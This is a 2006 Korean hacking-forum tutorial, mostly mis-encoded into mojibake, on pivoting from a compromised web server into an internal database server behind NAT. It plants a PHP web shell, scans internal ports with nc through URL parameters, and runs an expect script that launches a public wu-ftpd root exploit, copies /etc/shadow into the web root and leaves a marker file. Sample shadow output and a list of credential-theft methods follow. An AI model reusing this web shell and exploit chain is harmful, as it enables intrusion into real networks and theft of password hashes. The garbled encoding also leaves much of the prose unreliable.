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À̸§ : È£¼® (220.¢½.198.135) |
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³¯Â¥ : 2006-04-14 23:34:46 |
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Á¦¸ñ : À¥ÇØÅ· ¸ðÀ½2 |
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À¥ÇØÅ· - NAT ȯ°æ
/*
homepage: http://beist.org
e-mail: beist@hanmail.net
msn: beist@hotmail.com
beist¿Í °ü·ÃµÈ »çÀÌÆ® :
http://wowhacker.com (wowcode at wowhacker team)
http://hackerschool.org (very good hacking portal site)
*/
Á¦¸ñ : NAT ȯ°æ¿¡¼ÀÇ À¥ ÇØÅ· À̾߱â
¾È³çÇϼ¼¿ä?
¿À´ÃÀº NAT ¹æ½ÄÀÇ ³×Æ®¿öÅ©¿¡¼, À¥ ÇØÅ·À» ÅëÇÏ¿© ¾î¶² ¹æ½ÄÀ¸·Î ÇØÅ·À»
ÇÒ ¼ö ÀÖ´ÂÁö ¾Ë¾Æº¸°Ú½À´Ï´Ù.
Á¦°¡ Æò¼Ò¿¡ ÀÚÁÖ ÇÏ´Â ¸»ÀÌ Àִµ¥, ¿À´Ã³¯ À¥ ÇØÅ·Àº °¡Àå À§ÇèÇÑ ±â¼ú
À̸ç, WEB ÀÌ ¶Õ¸®¸é ³ª¸ÓÁöÀÇ º¸¾È ÀåÄ¡´Â ¹«¿ëÁö¹°ÀÌ µÇ¹ö¸³´Ï´Ù. ÀÌÀ¯´Â
WEB Àº, »ç¿ëÀÚ¿¡°Ô º¸¿©ÁÖ°í, ÀÌ¿ëÇÏ°Ô ÇÏ´Â ¸¹Àº ¼ºñ½ºµéÀÌ Á¸ÀçÇϴµ¥,
ÀÌ·± ¼ºñ½º ´öºÐ¿¡ WEB ¿¡¼´Â ÇØ´ç ¼¹öÀÇ ´Ù¸¥ µ¥¸óÀ̳ª, °°Àº ³×Æ®¿öÅ©ÀÇ
´Ù¸¥ ±â´ÉµéÀ» ÇÏ´Â ¼¹ö¿¡ Á¢±ÙÇÒ ¼ö ÀÖ´Â ±ÇÇÑÀÌ ÇÊ¿äÇÒ ¼ö ¹Û¿¡ ¾ø½À´Ï´Ù.
¿¹¸¦ µé¾î¼, A ¶ó´Â WEB ¼¹ö¿Í °°Àº ³×Æ®¿öÅ©¿¡ B ¶ó´Â Àü¿ë DATABASE ¼¹ö°¡
ÀÖ½À´Ï´Ù. WEB ¼¹ö¿¡¼ CGI µî¿¡¼ ÀڷḦ ó¸®ÇØ¾ß ÇÒ »óȲÀÌ ¿Ã ¶§ B ¼¹ö¿¡
Á¢±ÙÀ» ÇØ¾ß ÇÒ °ÍÀÔ´Ï´Ù.
ÀÌó·³, A ¼¹ö´Â °°Àº ³×Æ®¿öÅ©¿¡ Á¸ÀçÇÏ´Â B ¼¹ö¿¡µµ ÀÚÀ¯·Ó°Ô µé¾î°¥ ¼ö
ÀÖÀ¸¸ç ÀÌ À̾߱â´Â Áï, ¾ÇÀÇÀûÀÎ ¸ñÀûÀ» °¡Áø Å©·¡Ä¿°¡ A ¼¹ö¸¦ ÇØÅ·ÇÏ¿´À»
°æ¿ì, ÀÚÀ¯ ÀÚÀç·Î B ¼¹ö¿¡ Á¢±ÙÇÒ ¼ö ÀÖ´Â ±ÇÇÑÀ» ȹµæÇÏ¿´´Ù´Â °ÍÀ» ¸»ÇÕ´Ï´Ù.
NAT ¹æ½ÄÀº, ºÎÁ·ÇÑ IP ¹®Á¦¸¦ ÇØ°áÇϱâ À§Çؼ ³ª¿Â ¹æ¹ýÀ̱⵵ ÇÏÁö¸¸,
NAT ¹æ½ÄÀÌ ÁÖ·Î »ç¿ëµÇ´Â ÀÌÀ¯´Â, ȸ»çÀÇ ³×Æ®¿öÅ©¿¡¼ º¸¾ÈÀûÀÎ ¹®Á¦¸¦
¼Õ½±°Ô ÇØ°áÇϱâ À§Çؼ »ç¿ëÇÕ´Ï´Ù.
NAT ¿¡ ´ëÇؼ °£´ÜÈ÷ ¼³¸íÇÏÀÚ¸é, Network Address Translation ÀÇ ¾àÀÚ·Î,
ȸ»çÀÇ °¢ ÄÄÇ»Å͵éÀº °¡»óÀÇ IP ¸¦ »ç¿ëÇÏ°í, ¿ÜºÎ ³×Æ®¿öÅ©·Î ³ª°¡´Â IP ³ª,
»ç¿ëÀÚ°¡ ³×Æ®¿öÅ©·Î µé¾î¿Ã ¶§ÀÇ IP ´Â °øÀÎ IP, Áï ÁöÁ¤µÈ IP ¸¦ »ç¿ëÇÏ´Â
¹æ½ÄÀ» ¸»ÇÕ´Ï´Ù.
¿¹¸¦ µé¾î ȸ»çÀÇ °øÀÎ IP ´Â ´ÙÀ½°ú °°½À´Ï´Ù.
210.aaa.bbb.ccc
»ç¿ëÀÚ´Â 210.aaa.bbb.ccc ¶ó´Â IP ¸¦ ÅëÇØ È¸»çÀÇ ³×Æ®¿öÅ©¿¡ µé¾î¿Ã ¼ö ÀÖÀ»
°ÍÀÔ´Ï´Ù. ³»ºÎ ¼¹öµéÀÇ °¡»ó IP µéÀº ´ÙÀ½°ú °°½À´Ï´Ù.
WEB ¼¹ö
192.168.0.111
DATABASE ¼¹ö
192.168.0.112
AUTH ¼¹ö
192.168.0.113
°¢ ¼¹öµéÀÌ ÇÏ´Â ÀÏÀº, ¼¹ö À̸§¿¡¼ ÁüÀÛÀ» ÇÒ ¼ö ÀÖ½À´Ï´Ù. ½ÇÁ¦ ´ëÇü
³×Æ®¿öÅ© ¸Á¿¡¼´Â, DATABASE ¼¹ö¸¸µµ ¼ö½Ê´ë ÀÌ»óÀ» Â÷ÁöÇÏÁö¸¸ ¿©±â¼´Â
ÀÌ Á¤µµ¸¸ ¼³¸íÇÏ¿©µµ ÃæºÐÇϹǷΠ¶È°°ÀÌ ÀçÇöÇÏÁö´Â ¾Ê°Ú½À´Ï´Ù.
¾óÇÍ º¸¾ÒÀ» ¶§, WEB ¼¹ö³ª DATABASE ¼¹ö³ª ¸ðµÎ Real IP ¸¦ °¡Áö°í ÀÖÁö
¾Ê°í, °¡»ó IP ·Î ÀÌ·ç¾îÁ³À¸¹Ç·Î ÇØÅ·À» ÇϱⰡ Èûµé°í, ÇØÅ·À» ÇÏ´õ¶óµµ
³ª¸ÓÁö ¼¹ö±îÁö ¿¬¼â ÇØÅ·À» ´çÇÒ À§ÇèÀÌ ¾øÀ» °Å¶ó´Â »ý°¢ÀÌ µé±âµµ ÇÕ´Ï´Ù.
ÇÏÁö¸¸ ¾îÂ÷ÇÇ ¸ðµç ¼¹ö°¡ ³×Æ®¿öÅ©·Î ¿¬°áµÇ¾î¾ß¸¸ »óÈ£ ¿¬»ê ÀÛ¿ëÀÌ °¡´ÉÇØÁö¹Ç·Î
ÇÑ ¼¹ö°¡ Å©·¡Ä¿¿¡°Ô ÇØÅ·À» ´çÇϸé, Å©·¡Ä¿´Â, ´Ù¸¥ ¼¹ö·Î ÆÐŶÀ» Àü¼ÛÇÒ ¼ö
ÀÖ´Â ±ÇÇÑÀ» ¾ò°Ô µÇ´Â °ÍÀ̹ǷΠ¿¬¼â ÇØÅ·ÀÌ °¡´ÉÇØ Áú ¼öµµ ÀÖ½À´Ï´Ù.
ÀÌ ¹®¼¿¡¼´Â Å©·¡Ä¿°¡ WEB ¼¹öÀÇ CGI ³ª ±âŸ ´Ù¸¥ ¹ö±×¸¦ ÀÌ¿ëÇÏ¿© nobody
±ÇÇÑÀ» ȹµæÇÑ »óŶó°í °¡Á¤ÇÏ°í, ±× ³×Æ®¿öÅ© ¾ÈÀÇ DATABASE ¼¹ö±îÁö ÇØÅ·ÇÏ´Â
¹æ¹ý¿¡ ´ëÇؼ ¾Ë¾Æº¸°Ú½À´Ï´Ù.
´ÙÀ½ÀÇ µÎ »óȲÀ» ´ë»óÀ¸·Î °Á¸¦ ÁøÇàÇÏ°Ú½À´Ï´Ù.
1. DATABASE ¼¹ö¿¡ Remote ¹ö±×°¡ Á¸ÀçÇÏ´Â »óÅÂ.
2. Remote Bug ´Â Á¸ÀçÇÏÁö ¾ÊÁö¸¸ DATABASE ¼¹ö¿¡ Á¢¼ÓÇÒ ¼ö °èÁ¤À»
¾Ë¾Æ³½ »óÅÂ. (Áï DATABASE ¼¹ö¿¡ Login ¼º°øÀÌ °¡´ÉÇÑ »óÅÂ.)
À§ÀÇ µÎ »óȲÀ» µû·Î ÁøÇàÇÏ°Ú½À´Ï´Ù. NAT ¹æ½ÄÀ¸·Î ÀÌ·ç¾îÁø ³×Æ®¿öÅ©°¡ ±×·¸Áö
¾ÊÀº ³×Æ®¿öÅ©º¸´Ù ÇØÅ·ÀÌ ¾î·Á¿î ÀÌÀ¯´Â ´ÙÀ½°ú °°½À´Ï´Ù.
NAT ³×Æ®¿öÅ©´Â º¸¾È Á¤Ã¥ÀÌ Á» ´õ À¯¿¬ÇØÁú ¼ö ÀÖ½À´Ï´Ù. ÀÌÀ¯´Â ÆÐŶÀÌ °øÀÎ
IP ¸¦ °ÅÃÄ°¡´Â ±× Ư¼º ¶§¹®¿¡ ±× Áö¿ª¿¡¼ º¸¾È Á¤Ã¥À» ÀÛ¼ºÇϱⰡ ¼ö¿ùÇϱâ
¶§¹®ÀÔ´Ï´Ù.
±× º¸¾È Á¤Ã¥ÀÇ Çϳª¸¦ ¿¹¸¦ µé¾îº¸ÀÚ¸é, »ç¿ëÀÚ°¡ ÆÐŶÀ» º¸³»¿Í TCP ¿¬°áÀ»
ÀÌ·ç´Â °ÍÀº °¡´ÉÇÏÁö¸¸ ³×Æ®¿öÅ©¿¡ ÀÖ´Â ¼¹öµéÀÌ ¸ÕÀú »ç¿ëÀÚ¿¡°Ô ÆÐŶÀ» º¸³»¼
TCP ¿¬°áÀ» º¸³»´Â °ÍÀ» ¸·´Â Á¤Ã¥À» ¼¼¿ì±â°¡ ½±½À´Ï´Ù.
±×¸®°í, ¶Ç ¿ÜºÎ¿¡¼ WEB ¼¹öÀÇ Port ÀÎ 80 ¹ø Port ¸¦ Á¦¿ÜÇÏ°í ³ª¸ÓÁö Æ÷Æ®µéÀÇ
Á¢±ÙÀ» Á¦ÇÑÇÏ¿´´Ù¸é, Å©·¡Ä¿´Â Reverse Shell À̳ª Term, Port Bind µîÀ» ¶ç¿ö¼
ÀÛ¾÷À» ÇÒ ¼ö°¡ ¾øÀ» °Ì´Ï´Ù. (WEB ¿¡¼ Shell À» »ç¿ëÇÒ ¼ö ÀÖ°Ô²û ÇÏ´Â ÇÁ·ÎÁ§Æ®°¡
Á¸ÀçÇϱä ÇÕ´Ï´Ù.)
¶Ç, ´ç¿¬ÇÑ À̾߱âÁö¸¸ NAT ÀÇ °¢ ¼¹öµéÀº °¡»ó IP ¸¦ ¾²±â ¶§¹®¿¡ ¿ÜºÎ ³×Æ®¿öÅ©
¿¡¼´Â ÀÌ °¡»ó IP ·Î ¸ÕÀú ÆÐŶÀ» º¸³»¾î Á÷Á¢ ¿¬°áÀ» ¸ÎÀ» ¼ö°¡ ¾ø½À´Ï´Ù.
±×·¡¼ ¸¸¾à, Å©·¡Ä¿°¡ WEB ¼¹öÀÇ nobody ±ÇÇÑÀ» ȹµæÇÏ¿´´Ù°í ÇÏ´õ¶óµµ °°Àº
³×Æ®¿öÅ©ÀÇ ´Ù¸¥ ¼¹öµé±îÁö Á¢±ÙÇϱⰡ NAT ¹æ½ÄÀ» »ç¿ëÇÏÁö ¾ÊÀº ¼¹ö¿¡ ºñÇØ
±î´Ù·Ó´Ù°í ÇÒ ¼ö ÀÖ½À´Ï´Ù.
¾î¶² ½ÄÀ¸·Î ±Øº¹ÇÒ ¼ö ÀÖ´ÂÁö ÀÌÁ¦ºÎÅÍ ¾Ë¾Æº¸µµ·Ï ÇÏ°Ú½À´Ï´Ù. ù¹ø° °æ¿ìÀÔ´Ï´Ù.
-- 1. DATABASE ¼¹ö¿¡ Remote ¹ö±×°¡ Á¸ÀçÇÏ´Â »óÅÂ. --
Å©·¡Ä¿´Â WEB ¼¹ö¸¦ ÇØÅ·ÇÏ°í, nobody ±ÇÇÑÀ¸·Î ¾î¶² ÀÏÀ» ÇÒ ¼ö ÀÖµµ·Ï ´ÙÀ½°ú
°°Àº ÆÄÀÏÀ» WEB ¼¹ö¿¡ ¸¸µé¾î µÎ¾ú½À´Ï´Ù.
beist.php
<? passthru($beist); ?>
Å©·¡Ä¿´Â ´ÙÀ½°ú °°Àº Çü½ÄÀ¸·Î WEB ¼¹ö¿¡¼ nobody ±ÇÇÑÀ» Çà»çÇÒ ¼ö ÀÖ½À´Ï´Ù.
http://WEB¼¹ö/beist.php?beist=whoami
[°á°ú]
nobody
DATABASE ¼¹ö¸¦ Á¶»çÇϱâ À§ÇØ nc ¸¦ WEB ¼¹ö¿¡ ¿Ã¸° ÈÄ WEB ¼¹ö¿¡¼ DATABASE
¼¹ö·Î ½ºÄµÀ» ½ÃµµÇÏ°Ú½À´Ï´Ù.
http://WEB¼¹ö/beist.php?beist=./nc -v -z 192.168.0.112 1-10000 2> /tmp/result.txt &
°á°ú¸¦ º¸°Ú½À´Ï´Ù.
http://WEB¼¹ö/beist.php?beist=cat /tmp/result.txt
[°á°ú]
beist [127.0.0.1] 3306 (mysql) open
beist [127.0.0.1] 80 (http) open
beist [127.0.0.1] 25 (sendmail) open
beist [127.0.0.1] 23 (telnet) open
beist [127.0.0.1] 22 (ssh) open
beist [127.0.0.1] 21 (ftp) open
¿©·¯ °³ÀÇ Æ÷Æ®°¡ ¿·ÁÀÖÀ½À» ¾Ë ¼ö ÀÖ½À´Ï´Ù. DATABASE ¼¹öÀÇ 21 ¹ø°ú 22 ¹ø
Æ÷Æ®¿¡ Ãë¾àÇÑ ºÎºÐÀÌ Á¸ÀçÇÏ´ÂÁö ¾Ë¾Æº¸±â À§ÇØ °¢ µ¥¸óÀÇ ¹öÀüÀ» È®ÀÎÇغ¸°Ú½À´Ï´Ù.
ftp (21) ¹öÀü ¾Ë¾Æº¸±â
http://WEB¼¹ö/beist.php?beist=./nc -o /tmp/result2.txt 192.168.0.112 21 &
ftp ÀÇ ¹öÀüÀ» ¾Ë¾Æº¸±â À§ÇØ result2.txt ÆÄÀÏÀ» Àо°Ú½À´Ï´Ù.
http://WEB¼¹ö/beist.php?beist=cat /tmp/result2.txt
[°á°ú]
< 00000000 32 32 30 20 62 65 69 73 74 20 46 54 50 20 73 65 # 220 beist FTP se
< 00000010 72 76 65 72 20 28 56 65 72 73 69 6f 6e 20 77 75 # rver (Version wu
< 00000020 2d 32 2e 36 2e 31 2d 31 38 29 20 72 65 61 64 79 # -2.6.1-18) ready
< 00000030 2e 0d 0a # ...
ftp ÀÇ ¹öÀüÀÌ wu-2.6.1-18 ÀÓÀ» ¾Ë ¼ö ÀÖ½À´Ï´Ù. °°Àº ¹æ¹ýÀ¸·Î ssh ÀÇ ¹öÀüÀ»
¾Ë¾Æº¸°Ú½À´Ï´Ù.
ssh (22) ¹öÀü ¾Ë¾Æº¸±â
http://WEB¼¹ö/beist.php?beist=./nc -o /tmp/result3.txt 192.168.0.112 22 &
result3.txt Àбâ.
http://WEB¼¹ö/beist.php?beist=cat /tmp/result3.txt
[°á°ú]
< 00000000 53 53 48 2d 31 2e 39 39 2d 4f 70 65 6e 53 53 48 # SSH-1.99-OpenSSH
< 00000010 5f 33 2e 34 70 31 0a # _3.4p1.
ssh ÀÇ ¹öÀüÀº OpenSSH-3.4p1 ÀÓÀ» ¾Ë ¼ö ÀÖ½À´Ï´Ù.
µÎ °¡Áö µ¥¸ó Áß, wu-2.6.1-18 À» ´ë»óÀ¸·Î °ø°ÝÀ» ½ÃµµÇغ¸°Ú½À´Ï´Ù. wu-2.6.1-18
ftp µ¥¸óÀº Remote Bug °¡ ¾Ë·ÁÁ® ÀÖ´Â »óÅÂÀÔ´Ï´Ù.
-- ½ÇÀü °ø°Ý --
wu-2.6.1-18 À» °ø°ÝÇϱâ À§ÇÑ exploit Àº ÀÎÅͳݿ¡ °ø°³µÇ¾î ÀÖ½À´Ï´Ù. ¿©±â¼´Â
TESO ÆÀ¿¡¼ ¸¸µç exploit À» »ç¿ëÇÏ¿© ÁøÇàÇÏ°Ú½À´Ï´Ù. ÀÌ ¹®¼¸¦ º¸°í test ÇϽÇ
ºÐµéÀ» À§ÇØ TESO ÆÀÀÇ exploit À»
http://beist.org/data1/data/test-wuftp-exp.c
ÀÌ °÷¿¡ ¿Ã·Á³õ°Ú½À´Ï´Ù.
ÀÌÁ¦ º»°ÝÀûÀ¸·Î ½ÇÀü °ø°ÝÀ» Çغ¸°Ú½À´Ï´Ù. ¸ÕÀú test-wuftp-exp.c ¸¦ a.c ·Î
¹Ù²ã¼ WEB ¼¹ö¿¡ ¿Ã¸³´Ï´Ù.
¿©±â¼´Â expect ¸¦ °ø°Ý¿¡ ÀÌ¿ëÇÒ °ÍÀÔ´Ï´Ù. expect ´Â ´ëÈÇü ½ºÅ©¸³Æ® ¾ð¾î·Î½á
http://beist.org/lecture1/read.html?table=beist_linuxlecture&uid=24
ÀÌ °÷À¸·Î °¡½Ã¸é Á¦°¡ ¾´ expect °Á¸¦ º¸½Ç ¼ö ÀÖ½À´Ï´Ù.
Cracker Computer -> WEB¼¹ö -> DATABASE ¼¹ö ¼ø¼·Î °ø°ÝÀ» ÇؾßÇϴµ¥, NAT ¹æ½ÄÀ»
»ç¿ëÇÏ°í, Target ³×Æ®¿öÅ©ÀÇ º¸¾È Á¤Ã¥ ¶§¹®¿¡ WEB ¼¹öÀÇ 80 ¹ø Æ÷Æ® Àܷ̿δÂ
Á¢±ÙÀ» ÇÒ ¼ö°¡ ¾ø´Â »óȲÀÔ´Ï´Ù. Target ³×Æ®¿öÅ©¿¡¼ ¿ì¸® ³×Æ®¿öÅ©·Î ÆÐŶÀ» ¸ÕÀú
º¸³¾ ¼öµµ ¾ø´Â »óȲÀÔ´Ï´Ù.
±×·¸±â ¶§¹®¿¡, ¿ì¸®´Â WEB ¼¹öÀÇ 80 ¹ø Æ÷Æ®¸¦ ÀÌ¿ëÇÏ¿© DATABASE ¼¹ö¸¦ °ø°ÝÇؾß
ÇÕ´Ï´Ù. ÀÌ·² ¶§ À¯¿ëÇÑ °ÍÀÌ ¹Ù·Î expect ¾ð¾îÀÔ´Ï´Ù. ¿ì¸®´Â ´ÙÀ½°ú °°Àº ¼ø¼·Î
°ø°ÝÀ» °¨ÇàÇÒ °ÍÀÔ´Ï´Ù.
1. Cracker Computer ¿¡¼ WEB ¼¹öÀÇ 80 ¹ø Æ÷Æ®¿¡ Á¢¼Ó
2. wu-ftpd exploit À» WEB ¼¹ö¿¡ Upload
3. °ø°Ý expect ¸¦ WEB ¼¹ö¿¡ Upload
4. expect ¿¡¼ wu-ftpd exploit À» ÄÄÆÄÀÏ
5. expect ¿¡¼ ÄÄÆÄÀÏÇÑ binary ¸¦ ÀÌ¿ëÇÏ¿© DATABASE ¼¹öÀÇ wu-FTP Á¢¼Ó
6. wu-ftpd ¸¦ °ø°ÝÇÏ°í, DATABASE ¼¹ö¿¡¼ root ½©À» ¾òÀº ÈÄ
7. /etc/shadow ÆÄÀÏÀ» WEB directory ¿¡ º¹»çÇÏ°í, /tmp ¿¡ ÈçÀûÀ» ³²±ä´Ù.
expect ¿¡¼ ÇؾßÇÒ °úÁ¤Àº 4 ~ 7 °úÁ¤ÀÔ´Ï´Ù.
attack.exp
------------------------------------------------------------
#!/usr/bin/expect
spawn gcc -o a a.c
#ÄÄÆÄÀÏ
sleep 2
spawn ./a -a -d 192.168.0.112
# 192.168.0.112 °ø°Ý
sleep 10
expect -re "uid=0(root)"
# uid=0 ¹®ÀÚ¿À» ±â´Ù¸². (°ø°Ý ¼º°øÀ» ¾Ï½ÃÇÔ)
send "cp /etc/shadow /usr/local/apache/htdocs/shadow.txt\n"
# shadow ÆÄÀÏ º¹»ç
sleep 1
send "chmod 755 /usr/local/apache/htdocs/shadow.txt\n"
# shadow ÆÄÀÏ ÆÛ¹Ì¼Ç Á¶Á¤
sleep 1
send "echo imbeist > /tmp/beist\n"
# /tmp/beist ¿¡ ÈçÀû ³²±è
sleep 1
send "exit\n"
spawn ./nc -o shadow.txt 192.168.0.112 80
# nc ±¸µ¿ÇÏ°í, ³»¿ëÀ» shadow.txt ·Î dump
sleep 2
send "get http://192.168.0.112/shadow.txt HTTP/1.0\r\n\r\n"
# shadow.txt ÆÄÀÏ ¿äû
sleep 2
interact
------------------------------------------------------------
attack.exp ´Â expect ¾ð¾î¸¦ ÀÌ¿ëÇÏ¿©¼ ±¸ÇöÇغ¸¾Ò½À´Ï´Ù. ¿ö³« ³»¿ëÀÌ
°£´ÜÇÏ°í ´Ü¼øÇÏ¿© ¾î¶² ±¸Á¶·Î ÀÌ·ç¾îÁö´ÂÁö ±Ý¹æ ÆľÇÇÏ½Ç ¼ö ÀÖÀ» °Ì´Ï´Ù.
À§´Â °£´ÜÇÑ ¹æ¹ýÀÌ°í, Á¶±Ý ´õ ÁÁÀº ¹æ¹ýÀ» Á¦¾ÈÇÏÀÚ¸é root ÀÇ Æнº¿öµå¸¦
ÀÓÀÇ·Î ¹Ù²Ù°Å³ª, UID ¸¦ 0 ÀÎ °èÁ¤À» Ãß°¡ÇÑ ÈÄ, FTP ³ª SSH ·Î ·Î±×ÀÎ ÇÏ¿©
ÀÛ¾÷À» ÇÑ´Ù¸é ´õ ¼ö¿ùÇØÁú¼öµµ ÀÖ½À´Ï´Ù. ÀÌ¿¡ ´ëÇÑ ÀÀ¿ë¹ýÀº ÀÌ °ÍÀ¸·Î
ÃæºÐÇÏ´Ï±î ´õ ÀÌ»ó ´Ù·çÁö ¾Ê°Ú½À´Ï´Ù.
À§ÀÇ expect ¸¦ ½ÇÇàÇغ¾½Ã´Ù.
http://WEB¼¹ö/beist.php?beist=mv teso-wuftp-exp.c a.c
http://WEB¼¹ö/beist.php?beist=chmod 755 attack.exp
http://WEB¼¹ö/beist.php?beist=./attack.exp &
expect °¡ DATABASE ¼¹ö¸¦ °ø°ÝÇÏ´Â ½Ã°£ÀÌ Á¶±Ý ÇÊ¿äÇϹǷÎ, 1 ºÐ Á¤µµÀÇ
½Ã°£ÀÌ È帥 µÚ¿¡ ´ÙÀ½°ú °°ÀÌ È®ÀÎÀ» Çغ¸°Ú½À´Ï´Ù.
http://WEB¼¹ö/beist.php?beist=cat shadow.txt
[°á°ú]
> 00000000 67 65 74 20 68 74 74 70 3a 2f 2f 62 65 69 73 74 # get http://beist
> 00000010 2e 6f 72 67 2f 73 68 61 64 6f 77 2e 74 78 74 20 # .org/shadow.txt
> 00000020 48 54 54 50 2f 31 2e 30 0a # HTTP/1.0.
> 00000029 0a # .
> 0000002a 0a # .
> 0000002b 0a # .
/* ºÎºÐ »ý·« */
< 000000e0 37 3a 3a 3a 3c 62 72 20 2f 3e 62 69 6e 3a 2a 3a # 7:::<br />bin:*:
< 000000f0 31 31 38 38 37 3a 30 3a 39 39 39 39 39 3a 37 3a # 11887:0:99999:7:
< 00000100 3a 3a 3c 62 72 20 2f 3e 64 61 65 6d 6f 6e 3a 2a # ::<br />daemon:*
< 00000110 3a 31 31 38 38 37 3a 30 3a 39 39 39 39 39 3a 37 # :11887:0:99999:7
< 00000120 3a 3a 3a 3c 62 72 20 2f 3e 61 64 6d 3a 2a 3a 31 # :::<br />adm:*:1
< 00000130 31 38 38 37 3a 30 3a 39 39 39 39 39 3a 37 3a 3a # 1887:0:99999:7::
< 00000140 3a 3c 62 72 20 2f 3e 6c 70 3a 2a 3a 31 31 38 38 # :<br />lp:*:1188
< 00000150 37 3a 30 3a 39 39 39 39 39 3a 37 3a 3a 3a 3c 62 # 7:0:99999:7:::<b
< 00000160 72 20 2f 3e 73 79 6e 63 3a 2a 3a 31 31 38 38 37 # r />sync:*:11887
< 00000170 3a 30 3a 39 39 39 39 39 3a 37 3a 3a 3a 3c 62 72 # :0:99999:7:::<br
/* ºÎºÐ »ý·« */
DATABASE ¼¹öÀÇ shadow ÆÄÀÏÀÌ ÀúÀåµÇ¾îÁø °ÍÀ» È®ÀÎÇÒ ¼ö ÀÖ½À´Ï´Ù.
http://WEB¼¹ö/beist.php?beist=cat /tmp/beist
[°á°ú]
imbeist
/tmp/beist ÆÄÀϵµ ¼º°øÀûÀ¸·Î »ý¼ºµÈ °ÍÀ» º¼ ¼ö ÀÖ½À´Ï´Ù. expect ¸¦ À߸¸ È°¿ë
ÇÑ´Ù¸é, ½ÇÁ¦·Î Shell À» ¾ò¾úÀ» ¶§ÀÇ ÇÏ´Â ÀÛ¾÷°ú °ÅÀÇ °°°Ô ÇÒ ¼ö ÀÖ½À´Ï´Ù.
ÀÌÁ¦ µÎ¹ø° °æ¿ì¸¦ ´ë»óÀ¸·Î °Á¸¦ ÁøÇàÇÏ°Ú½À´Ï´Ù.
---- 2. Remote Bug ´Â Á¸ÀçÇÏÁö ¾ÊÁö¸¸ DATABASE ¼¹ö¿¡ Á¢¼ÓÇÒ ¼ö °èÁ¤À»
¾Ë¾Æ³½ »óÅÂ. (Áï DATABASE ¼¹ö¿¡ Login ¼º°øÀÌ °¡´ÉÇÑ »óÅÂ.) ----
À̹ø¿¡´Â, DATABASE ¼¹ö¿¡ °èÁ¤Àº Á¸ÀçÇÏÁö¸¸, Remote Bug °¡ ¾ø¾î¼, WEB ¼¹ö¿¡¼
DATABASE ¼¹ö·Î ¹Ù·Î °ø°ÝÇÒ ¼ö ¾ø´Â °æ¿ìÀÏ ¶§·Î °¡Á¤ÇÏ°í ¼³¸íÇÏ°Ú½À´Ï´Ù.
WEB ¼¹ö¿¡¼ ¾î¶»°Ô DATABASE ¼¹öÀÇ °èÁ¤À» ¾Ë¾Æ³¾ ¼ö°¡ ÀÖ´ÂÁö ±× ¹æ¹ýÀÌ ±Ã±ÝÇϽÅ
ºÐµéÀÌ ¸¹À» °Å¶ó »ý°¢µË´Ï´Ù.
³×Æ®¿öÅ©°¡ Å« ȸ»çÀÇ °æ¿ì, ¿©·¯ ´ëÀÇ ÄÄÇ»ÅÍ·Î ³×Æ®¿öÅ©¸¦ ¿î¿µÇÏ°Ô µË´Ï´Ù.
WEB ¼¹ö¿¡¼ DATABASE ¼¹öÀÇ °èÁ¤À» ¾Ë¾Æ³»±â À§ÇÑ ¹æ¹ýÀ¸·Î ´ÙÀ½ÀÇ ¹æ¹ýµéÀÌ
ÀÖ½À´Ï´Ù.
¸ÕÀú WEB ¼¹ö¿¡¼ÀÇ ±ÇÇÑÀÌ nobody ÀÏ °æ¿ìÀÔ´Ï´Ù.
1. WEB ¼¹ö¿¡¼ DATABASE ¼¹ö·Î ¿¬°áÇÏ´Â CGI ÆÄÀÏ ºÐ¼®
2. WEB ¼¹öÀÇ /etc/passwd, /etc/hosts µî ½Ã½ºÅÛ °ü·Ã Á¤º¸¸¦ ÃÖ´ëÇÑ ¸ð¾Æ¼
DATABASE ¼¹ö·Î ¿¬°áÇÒ ¼ö ÀÖÀ»¸¸ÇÑ °ÍµéÀ» ºÐ¼®
3. WEB ¼¹öÀÇ °¢Á¾ log ÆÄÀÏÀ» ºÐ¼®
¸¸¾à À§ÀÇ °úÁ¤À» °ÅÃƴµ¥µµ, DATABASE ¿¡¼ ½ÇÁúÀûÀÎ Shell À» ¾òÀ» ¼ö ¾ø¾ú´Ù¸é
WEB ¼¹öÀÇ Root ¸¦ µû¾ßÇÒ °ÍÀÔ´Ï´Ù. WEB ¼¹öÀÇ Root ¸¦ ¶¤´Ù¸é 99% ÀÌ»óÀº
DATABASE ¼¹ö¿¡¼ Shell À» ¾òÀ» ¼ö ÀÖ½À´Ï´Ù.
WEB ¼¹ö¿¡¼ root ±ÇÇÑÀ» ¾ò¾úÀ» ¶§ DATABASE ¼¹ö·Î °¥ ¼ö ÀÖ´Â ¹æ¹ý·Ðµé.
1. ´Ù¸¥ °èÁ¤µé¿¡¼ ³²±ä history ÆÄÀÏ ºÐ¼®
2. °ü¸®ÀÚ°¡ WEB ¼¹ö¿¡ Á¢¼ÓÇßÀ» ¶§ Çൿ sniffing
3. Network Sniffing À» ÅëÇØ °èÁ¤ Æнº¿öµå ȹµæ
4. WEB ¼¹öÀÇ shadow ÆÄÀÏÀ» crack ÇÏ¿© ¾òÀº °èÁ¤À» DATABASE ¿¡ ´ëÀÔ
5. WEB ¼¹öÀÇ °¢Á¾ log ÆÄÀÏ ºÐ¼®
6. ±âŸ
ÀÌ ¹®¼ÀÇ ¿äÁö´Â ÀÌ ¹æ¹ýÀÌ ¾Æ´Ï´Ï À§¿¡¼ ¼³¸íÇÑ ¹æ¹ýµé·Î DATABASE ·Î °¥ ¼ö
ÀÖ´Â °èÁ¤À» ¾î¶»°Ôµç ¾ò¾ú´Ù°í °¡Á¤ÇÏ°í ³»¿ëÀ» ÁøÇàÇÏ°Ú½À´Ï´Ù. DATABASE ·Î
Á¢±ÙÇÒ ¼ö ÀÖ´Â °èÁ¤ÀÇ Á¤º¸´Â ´ÙÀ½°ú °°½À´Ï´Ù.
ID : beist
Password : beist.org
ÀÌ °èÁ¤À» °¡Áö°í, ¿ì¸®°¡ DATABASE ¼¹ö¸¦ °ø·«ÇÏ´Â ¹æ¹ýÀº ´ÙÀ½°ú °°½À´Ï´Ù.
1. WEB ¼¹ö¿¡¼ expect ¾ð¾î¸¦ ÀÌ¿ëÇÏ¿© DATABASE ¼¹ö·Î ¿¬°á
2. DATABASE ¼¹öÀÇ Local Ãë¾à¼ºÀ» Á¶»ç
3. Local Ãë¾à¼º °Ë»ç¸¦ Åä´ë·Î Root ±ÇÇÑ È¹µæÀ» À§ÇÑ °ø°ÝÀ» ½Ãµµ
4. Root ±ÇÇÑ È¹µæ ÈÄ ÈçÀûÀ» ³²±è
WEB ¼¹ö¿¡¼ DATABASE ¼¹ö¸¦ nc ·Î ½ºÄµÇغ¸´Ï ´ÙÀ½°ú °°Àº °á°ú°¡ ³ª¿Ô½À´Ï´Ù.
